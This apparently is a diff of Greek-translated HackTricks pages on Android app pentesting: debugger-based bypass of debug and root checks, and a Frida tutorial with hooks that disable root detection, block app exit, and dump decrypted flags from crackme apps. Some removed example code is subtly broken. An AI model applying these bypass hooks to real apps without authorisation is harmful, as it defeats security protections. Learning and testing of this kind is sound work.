2. **Εγκαταστήστε την Τροποποιημένη Εφαρμογή:**
- Χρησιμοποιήστε την εντολή: `adb install <application_name>`.
3. **Ανάκτηση του ονόματος πακέτου:**
- Εκτελέστε `adb shell pm list packages 3` για να εμφανιστούν οι εφαρμογές τρίτων και να βρείτε το όνομα του πακέτου.
3. **Ανακτήστε το Όνομα Πακέτου:**
- Εκτελέστε `adb shell pm list packages 3` για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα πακέτου.
4. **Ορισμός της εφαρμογής για αναμονή σύνδεσης του αποσφαλματωτή:**
- Εντολή: `adb shell am setup-debug-app w <όνομαακέτου>`.
- **Σημείωση:** Αυτή η εντολή πρέπει να εκτελείται κάθε φορά πριν ξεκινήσει η εφαρμογή για να διασφαλιστεί ότι περιμένει τον αποσφαλματωτή.
- Για την διατήρηση, χρησιμοποιήστε `adb shell am setup-debug-app w -persistent <όνομαακέτου>`.
- Για την αφαίρεση όλων των σημαιών, χρησιμοποιήστε `adb shell am clear-debug-app <όνομαακέτου>`.
4. **Ρυθμίστε την Εφαρμογή να Περιμένει Σύνδεση Αποσφαλμάτωσης:**
- Εντολή: `adb shell am setup-debug-app w <package_name>`.
- **Σημείωση:** Αυτή η εντολή πρέπει να εκτελείται κάθε φορά πριν ξεκινήσει η εφαρμογή για να διασφαλιστεί ότι περιμένει για τον αποσφαλματωτή.
- Για μόνιμη ρύθμιση, χρησιμοποιήστε `adb shell am setup-debug-app w -persistent <package_name>`.
- Για να αφαιρέσετε όλες τις σημαίες, χρησιμοποιήστε `adb shell am clear-debug-app <package_name>`.
5. **Προετοιμασία για αποσφαλμάτωση στο Android Studio:**
- Πλοηγηθείτε στο Android Studio στο _File -> Open Profile or APK_.
- Ανοίξτε τον ανασυνταγμένο APK.
5. **Ετοιμαστείτε για Αποσφαλμάτωση στο Android Studio:**
- Μεταβείτε στο Android Studio στο _File -> Open Profile or APK_.
- Ανοίξτε το επανασυμπιεσμένο APK.
6. **Ορισμός σημείων διακοπής σε σημαντικά αρχεία Java:**
- Τοποθετήστε σημεία διακοπής στο `MainActivity.java` (συγκεκριμένα στη μέθοδο `onCreate`), `b.java` και `
6. **Ορίστε Σημεία Διακοπής σε Κύρια Αρχεία Java:**
- Τοποθετήστε σημεία διακοπής στο `MainActivity.java` (συγκεκριμένα στη μέθοδο `onCreate`), `b.java`, και `ContextWrapper.java`.
### **Παράκαμψη Ελέγχων**
Η εφαρμογή, σε ορισμένα σημεία, θα επαληθεύσει αν είναι αποσφαλματωμένη και θα ελέγξει επίσης για δυαδικά αρχεία που υποδεικνύουν μια ριζωμένη συσκευή. Ο αποσφαλματωτής μπορεί να χρησιμοποιηθεί για να τροποποιήσει τις πληροφορίες της εφαρμογής, να αφαιρέσει τη σημαία αποσφαλμάτωσης και να αλλάξει τα ονόματα των αναζητούμενων δυαδικών αρχείων για να παρακάμψει αυτούς τους ελέγχους.
Για τον έλεγχο αποσφαλμάτωσης:
1. **Τροποποιήστε τις Ρυθμίσεις Σημαίας:**
- Στην ενότητα μεταβλητών της κονσόλας αποσφαλμάτωσης, μεταβείτε στο: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`.
- **Σημείωση:** Η δυαδική αναπαράσταση του `flags = 814267974` είναι `11000011100111011110`, υποδεικνύοντας ότι η "Flag_debuggable" είναι ενεργή.
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
Αυτά τα βήματα συλλογικά διασφαλίζουν ότι η εφαρμογή μπορεί να αποσφαλματωθεί και ότι ορισμένοι έλεγχοι ασφαλείας μπορούν να παρακαμφθούν χρησιμοποιώντας τον αποσφαλματωτή, διευκολύνοντας μια πιο εις βάθος ανάλυση ή τροποποίηση της συμπεριφοράς της εφαρμογής.
Το βήμα 2 περιλαμβάνει την αλλαγή μιας τιμής σημαίας σε 814267972, η οποία αναπαρίσταται δυαδικά ως 110000101101000000100010100.
# **Εκμετάλλευση μιας Ευπάθειας**
Δόθηκε μια επίδειξη χρησιμοποιώντας μια ευάλωτη εφαρμογή που περιέχει ένα κουμπί και ένα textview. Αρχικά, η εφαρμογή εμφανίζει "Crack Me". Ο στόχος είναι να αλλάξει το μήνυμα από "Try Again" σε "Hacked" κατά την εκτέλεση, χωρίς να τροποποιηθεί ο πηγαίος κώδικας.
## **Έλεγχος για Ευπάθεια**
- Η εφαρμογή αποσυμπιέστηκε χρησιμοποιώντας `apktool` για να αποκτήσετε πρόσβαση στο αρχείο `AndroidManifest.xml`.
- Η παρουσία του `android_debuggable="true"` στο AndroidManifest.xml υποδεικνύει ότι η εφαρμογή είναι αποσφαλματωμένη και επιρρεπής σε εκμετάλλευση.
- Αξιοσημείωτο είναι ότι το `apktool` χρησιμοποιείται αποκλειστικά για να ελέγξει την κατάσταση αποσφαλμάτωσης χωρίς να τροποποιήσει κανέναν κώδικα.
## **Προετοιμασία της Ρύθμισης**
- Η διαδικασία περιλάμβανε την εκκίνηση ενός εξομοιωτή, την εγκατάσταση της ευάλωτης εφαρμογής και τη χρήση του `adb jdwp` για να εντοπιστούν οι θύρες Dalvik VM που ακούνε.
- Το JDWP (Java Debug Wire Protocol) επιτρέπει την αποσφαλμάτωση μιας εφαρμογής που εκτελείται σε μια VM εκθέτοντας μια μοναδική θύρα.
- Η προώθηση θυρών ήταν απαραίτητη για την απομακρυσμένη αποσφαλμάτωση, ακολουθούμενη από την προσάρτηση του JDB στην στοχευμένη εφαρμογή.
## **Εισαγωγή Κώδικα κατά την Εκτέλεση**
- Η εκμετάλλευση πραγματοποιήθηκε με την τοποθέτηση σημείων διακοπής και τον έλεγχο της ροής της εφαρμογής.
- Εντολές όπως `classes` και `methods <class_name>` χρησιμοποιήθηκαν για να αποκαλύψουν τη δομή της εφαρμογής.
- Ένα σημείο διακοπής τοποθετήθηκε στη μέθοδο `onClick`, και η εκτέλεσή της ελέγχθηκε.
- Οι εντολές `locals`, `next`, και `set` χρησιμοποιήθηκαν για να εξετάσουν και να τροποποιήσουν τις τοπικές μεταβλητές, ειδικότερα αλλάζοντας το μήνυμα "Try Again" σε "Hacked".
- Ο τροποποιημένος κώδικας εκτελέστηκε χρησιμοποιώντας την εντολή `run`, αλλάζοντας με επιτυχία την έξοδο της εφαρμογής σε πραγματικό χρόνο.
Αυτό το παράδειγμα έδειξε πώς μπορεί να χειριστεί η συμπεριφορά μιας αποσφαλματωμένης εφαρμογής, υπογραμμίζοντας τη δυνατότητα για πιο σύνθετες εκμεταλλεύσεις όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής.
## Αναφορές
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Οδηγός Frida
# Frida Tutorial
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Bug bounty tip**: **εγγραφείτε** για **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Εγκατάσταση
## Installation
Εγκαταστήστε τα εργαλεία **frida**:
Install **frida tools**:
```bash
pip install frida-tools
pip install frida
```
**Κατεβάστε και εγκαταστήστε** στο Android τον **διακομιστή frida** ([Κατεβάστε την τελευταία έκδοση](https://github.com/frida/frida/releases)).\
Ένας εντολή για να επανεκκινήσετε το adb σε root mode, να συνδεθείτε σε αυτό, να ανεβάσετε το frida-server, να δώσετε δικαιώματα εκτέλεσης και να το τρέξετε στο παρασκήνιο:
**Κατεβάστε και εγκαταστήστε** στο android τον **frida server** ([Κατεβάστε την τελευταία έκδοση](https://github.com/frida/frida/releases)).\
Μονογραμμή για να επανεκκινήσετε το adb σε λειτουργία root, να συνδεθείτε σε αυτό, να ανεβάσετε τον frida-server, να δώσετε δικαιώματα εκτέλεσης και να τον εκτελέσετε στο παρασκήνιο:
{% code overflow="wrap" %}
```bash
@ -36,40 +37,40 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local
```
{% endcode %}
**Ελέγξτε** αν **δουλεύει**:
**Ελέγξτε** αν **λειτουργεί**:
```bash
frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
## Οδηγοί
## Tutorials
### [Οδηγός 1](frida-tutorial-1.md)
### [Tutorial 1](frida-tutorial-1.md)
**Από**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Πηγαίος Κώδικας**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**Ακολουθήστε τον [σύνδεσμο για να το διαβάσετε](frida-tutorial-1.md).**
**Follow the [link to read it](frida-tutorial-1.md).**
### [Οδηγός 2](frida-tutorial-2.md)
### [Tutorial 2](frida-tutorial-2.md)
**Από**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Μέρη 2, 3 & 4)\
**APKs και Πηγαίος Κώδικας**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Μέρη 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Ακολουθήστε τον [σύνδεσμο για να το διαβάσετε](frida-tutorial-2.md).**
**Follow the[ link to read it.](frida-tutorial-2.md)**
### [Οδηγός 3](owaspuncrackable-1.md)
### [Tutorial 3](owaspuncrackable-1.md)
**Από**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
**Ακολουθήστε τον [σύνδεσμο για να το διαβάσετε](owaspuncrackable-1.md).**
**Follow the [link to read it](owaspuncrackable-1.md).**
**Μπορείτε να βρείτε περισσότερα εκπληκτικά scripts του Frida εδώ:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Γρήγορα Παραδείγματα
## Quick Examples
### Κλήση του Frida από τη γραμμή εντολών
### Calling Frida from command line
```bash
frida-ps -U
@ -83,49 +84,6 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
#continue execution with our modified code.
```
### Βασικό Σενάριο Python
```python
import frida
# Συνάρτηση που καλείται όταν λαμβάνεται ένα μήνυμα από τον διακομιστή
def on_message(message, data):
if message['type'] == 'send':
print("[*] {0}".format(message['payload']))
else:
print(message)
# Φορτώνει το αρχείο JavaScript που θα εκτελεστεί στη συσκευή
with open("script.js", "r") as file:
script_code = file.read()
# Σύνδεση με τη συσκευή Android
device = frida.get_usb_device()
# Επιλογή της εφαρμογής που θέλουμε να επιτεθούμε
pid = device.spawn(["com.example.app"])
# Αναμονή για την εκκίνηση της εφαρμογής
device.resume(pid)
# Αναμονή για τη σύνδεση με τη διεργασία της εφαρμογής
session = device.attach(pid)
# Φόρτωση του αρχείου JavaScript στη διεργασία της εφαρμογής
script = session.create_script(script_code)
script.on('message', on_message)
script.load()
# Αναμονή για το τέλος της εφαρμογής
input("[!] Πατήστε Enter για να τερματίσετε την επίθεση...")
# Αποσύνδεση από τη διεργασία της εφαρμογής
session.detach()
# Τερματισμός της εφαρμογής
device.kill(pid)
```
Αυτό είναι ένα βασικό σενάριο Python που χρησιμοποιεί το Frida για να επιτεθεί σε μια εφαρμογή Android. Το σενάριο φορτώνει ένα αρχείο JavaScript που θα εκτελεστεί στη συσκευή και συνδέεται με την εφαρμογή που έχει επιλεγεί για επίθεση. Όταν λαμβάνεται ένα μήνυμα από τον διακομιστή, εμφανίζεται στην οθόνη. Η επίθεση τερματίζεται όταν πατηθεί το Enter.
```python
import frida, sys
@ -136,9 +94,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Σύνδεση συναρτήσεων χωρίς παραμέτρους
### Hooking functions without parameters
Συνδέστε τη συνάρτηση `a()` της κλάσης `sg.vantagepoint.a.c`
Hook the function `a()` of the class `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -148,49 +106,14 @@ return false;
};
});
```
Σύνδεση (hook) της μεθόδου `exit()` στην Java
Hook java `exit()`
```javascript
var sysexit = Java.use("java.lang.System");
sysexit.exit.overload("int").implementation = function(var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
};
```
# Σύνδεση (Hook) των μεθόδων `.onStart()` και `.onCreate()` του MainActivity
Για να συνδέσουμε (hook) τις μεθόδους `.onStart()` και `.onCreate()` του MainActivity σε μια εφαρμογή Android, μπορούμε να χρησιμοποιήσουμε το εργαλείο Frida. Ο Frida μας επιτρέπει να τροποποιήσουμε τον κώδικα της εφαρμογής κατά την εκτέλεσή της.
Παρακάτω παρουσιάζεται ένα παράδειγμα κώδικα σε Python για να συνδέσουμε τις εν λόγω μεθόδους:
```python
import frida
# Ορίζουμε τη συνάρτηση που θα κληθεί κατά την κλήση της μεθόδου .onStart()
def on_start():
print("Method onStart() called")
# Ορίζουμε τη συνάρτηση που θα κληθεί κατά την κλήση της μεθόδου .onCreate()
def on_create():
print("Method onCreate() called")
# Βρίσκουμε τη διεργασία της εφαρμογής
process = frida.get_usb_device().attach("com.example.app")
# Φορτώνουμε το script στη διεργασία
with open("script.js") as f:
script_code = f.read()
script = process.create_script(script_code)
# Ορίζουμε τις συναρτήσεις που θα κληθούν κατά την κλήση των μεθόδων
script.on("Java.perform", lambda: script.exports.hook_methods("com.example.app.MainActivity", "onStart", on_start))
script.on("Java.perform", lambda: script.exports.hook_methods("com.example.app.MainActivity", "onCreate", on_create))
# Εκτελούμε το script
script.load()
```
Στο παραπάνω παράδειγμα, ορίζουμε δύο συναρτήσεις `on_start()` και `on_create()` που θα κληθούν κατά την κλήση των μεθόδων `.onStart()` και `.onCreate()` αντίστοιχα. Στη συνέχεια, βρίσκουμε τη διεργασία της εφαρμογής και φορτώνουμε το script που περιέχει τον κώδικα για τη σύνδεση των μεθόδων. Τέλος, εκτελούμε το script.
Με αυτόν τον τρόπο, μπορούμε να παρακολουθήσουμε την εκτέλεση των μεθόδων `.onStart()` και `.onCreate()` του MainActivity σε μια εφαρμογή Android.
Hook MainActivity `.onStart()` & `.onCreate()`
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
mainactivity.onStart.overload().implementation = function() {
@ -202,31 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
# Σύνδεση (Hook) της μεθόδου `.onCreate()` σε Android
Η μέθοδος `.onCreate()` είναι μια από τις βασικές μεθόδους που χρησιμοποιούνται στην ανάπτυξη εφαρμογών Android. Συνήθως, καλείται κατά την εκκίνηση μιας δραστηριότητας (activity) και χρησιμοποιείται για την αρχικοποίηση των στοιχείων της δραστηριότητας.
Για να συνδέσουμε (hook) τη μέθοδο `.onCreate()` σε μια εφαρμογή Android, μπορούμε να χρησιμοποιήσουμε το εργαλείο Frida. Το Frida είναι ένα εργαλείο αντίστροφης μηχανικής που μας επιτρέπει να τροποποιήσουμε την εκτέλεση μιας εφαρμογής κατά τη διάρκεια της εκτέλεσής της.
Για να συνδέσουμε τη μέθοδο `.onCreate()` με το Frida, μπορούμε να χρησιμοποιήσουμε τον παρακάτω κώδικα JavaScript:
```javascript
Java.perform(function() {
var Activity = Java.use('android.app.Activity');
Activity.onCreate.implementation = function(savedInstanceState) {
// Εδώ μπορούμε να τοποθετήσουμε τον κώδικά μας που θα εκτελείται κατά την κλήση της μεθόδου .onCreate()
console.log('Η μέθοδος .onCreate() κλήθηκε!');
// Καλούμε την αρχική υλοποίηση της μεθόδου .onCreate()
this.onCreate(savedInstanceState);
};
});
```
Ο παραπάνω κώδικας συνδέει τη μέθοδο `.onCreate()` της κλάσης `Activity` και αντικαθιστά την υπάρχουσα υλοποίηση με τον δικό μας κώδικα. Στο παράδειγμα, εκτυπώνουμε ένα μήνυμα κατά την κλήση της μεθόδου `.onCreate()` και καλούμε την αρχική υλοποίηση της μεθόδου για να διατηρήσουμε την αρχική λειτουργικότητα.
Για να εκτελέσουμε τον παραπάνω κώδικα με το Frida, μπορούμε να χρησιμοποιήσουμε την εντολή `frida -U -l script.js -f package.name`, όπου `script.js` είναι το αρχείο που περιέχει τον παραπάνω κώδικα και `package.name` είναι το όνομα της εφαρμογής που θέλουμε να συνδέσουμε τη μέθοδο `.onCreate()`.
Με τη χρήση του Frida, μπορούμε να παρακολουθήσουμε και να τροποποιήσουμε την εκτέλεση μιας εφαρμογής Android, προσφέροντάς μας ένα ισχυρό εργαλείο για τον έλεγχο και την ανάλυση των εφαρμογών.
Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity");
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
@ -234,9 +133,9 @@ send("Activity HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
### Σύνδεση συναρτήσεων με παραμέτρους και ανάκτηση της τιμής
### Hooking functions with parameters and retrieving the value
Σύνδεση μιας συνάρτησης αποκρυπτογράφησης. Εκτύπωση της εισόδου, κλήση της αρχικής συνάρτησης για να αποκρυπτογραφηθεί η είσοδος και τέλος, εκτύπωση των απλών δεδομένων:
Hooking μια συνάρτηση αποκρυπτογράφησης. Εκτυπώστε την είσοδο, καλέστε την αρχική συνάρτηση για να αποκρυπτογραφήσετε την είσοδο και τελικά, εκτυπώστε τα απλά δεδομένα:
```javascript
function getString(data){
var ret = "";
@ -261,9 +160,9 @@ send("Decrypted flag: " + flag);
return ret; //[B
};
```
### Σύνδεση συναρτήσεων και κλήση τους με την είσοδο μας
### Hooking functions and calling them with our input
Συνδέστε μια συνάρτηση που δέχεται ένα αλφαριθμητικό και καλέστε την με ένα άλλο αλφαριθμητικό (από [εδώ](https://11x256.github.io/Frida-hooking-android-part-2/))
Hook a function that receives a string and call it with other string (from [εδώ](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
@ -275,9 +174,9 @@ console.log("Return value: "+ret);
return ret;
};
```
### Απόκτηση ενός ήδη δημιουργημένου αντικειμένου μιας κλάσης
### Getting an already created object of a class
Αν θέλετε να εξαγάγετε κάποιο χαρακτηριστικό ενός ήδη δημιουργημένου αντικειμένου, μπορείτε να χρησιμοποιήσετε αυτό.
Αν θέλετε να εξαγάγετε κάποιο χαρακτηριστικό ενός δημιουργημένου αντικειμένου μπορείτε να χρησιμοποιήσετε αυτό.
Σε αυτό το παράδειγμα θα δείτε πώς να αποκτήσετε το αντικείμενο της κλάσης my\_activity και πώς να καλέσετε τη συνάρτηση .secret() που θα εκτυπώσει ένα ιδιωτικό χαρακτηριστικό του αντικειμένου:
```javascript
@ -289,29 +188,30 @@ console.log("Result of secret func: " + instance.secret());
onComplete:function(){}
});
```
## Άλλα μαθήματα Frida
## Άλλοι οδηγοί Frida
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
* [Μέρος 1 της σειράς ιστολογίου για την προχωρημένη χρήση του Frida: Βιβλιοθήκες κρυπτογράφησης IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
* [Μέρος 1 της σειράς blog για Προχωρημένη Χρήση Frida: Βιβλιοθήκες Κρυπτογράφησης IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty που δημιουργήθηκε από χάκερ, για χάκερ**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Συμβουλή για bug bounty**: **εγγραφείτε** στο **Intigriti**, μια premium **πλατφόρμα bug bounty που δημιουργήθηκε από hackers, για hackers**! Ελάτε μαζί μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε βραβεία έως **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Ελάτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
**Ρίξτε μια ματιά σε: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
